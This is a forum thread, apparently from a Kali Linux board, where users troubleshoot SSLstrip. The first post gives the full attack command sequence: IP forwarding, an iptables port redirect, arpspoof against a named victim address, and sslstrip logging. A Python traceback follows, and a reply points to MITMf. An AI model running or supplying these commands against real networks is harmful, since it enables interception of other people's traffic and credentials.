Results 1 to 3 of 3

Thread: Sslstrip issues

  1. #1
    Join Date
    2016-May
    Posts
    1

    Sslstrip issues

    Hi to everyone. I am tring to do a man in the middle with Sslstrip but my log file is empty-The strange thing is that the command
    Code:
    urlsnarf -i wlan0
    shows me the urls visited by the victim. This is the command I used:

    Code:
    echo 1 > /proc/sys/net/ipv4/ip_forward
    
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    
    iptables -I INPUT 1 -p tcp --dport 8080 -j ACCEPT
    
    arpspoof -i wlan0 -t 192.168.1.3 -r 192.168.1.1
    
    sslstrip -w miolog.txt -l 8080
    
    tail -f miolog.txt
    and Sslstrip shows this exception:

    Code:
    Unhandled Error
    Traceback (most recent call last):
      File "/usr/bin/sslstrip", line 105, in main
        reactor.run()
      File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1192, in run
        self.mainLoop()
      File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1204, in mainLoop
        self.doIteration(t)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
        log.callWithLogger(selectable, _drdw, selectable, fd, event)
    --- <exception caught here> ---
      File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 88, in callWithLogger
        return callWithContext({"system": lp}, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 73, in callWithContext
        return context.call({ILogContext: newCtx}, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
        return self.currentContext().callWithContext(ctx, func, *args, **kw)
      File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
        return func(*args,**kw)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 627, in _doReadOrWrite
        self._disconnectSelectable(selectable, why, inRead)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
        selectable.connectionLost(f)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 484, in connectionLost
        self._commonConnection.connectionLost(self, reason)
      File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 298, in connectionLost
        protocol.connectionLost(reason)
      File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 474, in connectionLost
        self.handleResponseEnd()
      File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
        HTTPClient.handleResponseEnd(self)
      File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 485, in handleResponseEnd
        self.handleResponse(b)
      File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
        self.client.write(data)
      File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 962, in write
        raise RuntimeError('Request.write called on a request after '
    exceptions.RuntimeError: Request.write called on a request after Request.finish was called.

  2. #2
    Join Date
    2017-Jun
    Posts
    2
    I am also facing a problem with sslstrip. i followed the following steps:
    iptables -t nat -A PREROUTING --dport 80 -j REDIRECT --to-port 8080

    checked it with:
    iptables -t nat -L PREROUTING

    arpspoof -i wlan0 -t 192.168.1.102 -r 192.168.1.1 (2 times)

    (texts show up but stop after 10 seconds)

    sslstrip -w logfile.log -l 8080

    tail -f logfile.log

    nothing shows up now.

    ps: i have verified with the help of termux that my other device (android smartphone) has IP address has 192.168.1.102

    I didn't want to start a new thread for this as it's better that all the problems regarding the same topic be there in the same thread. However, mods may remove it from this thread and ask me to post in the new thread if it's inconvenient.

  3. #3
    Join Date
    2013-Jul
    Posts
    844
    Sslstrip is embedded in the mitmf package. MTeams ran into similar problems with sslstrip when including this feature into Pwnstar9.0

    Suggest you read the following link.

    https://forums.kali.org/showthread.p...-kali-linux-R2

    Musket Teams

Similar Threads

  1. Replies: 0
    Last Post: 2014-01-30, 09:01

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •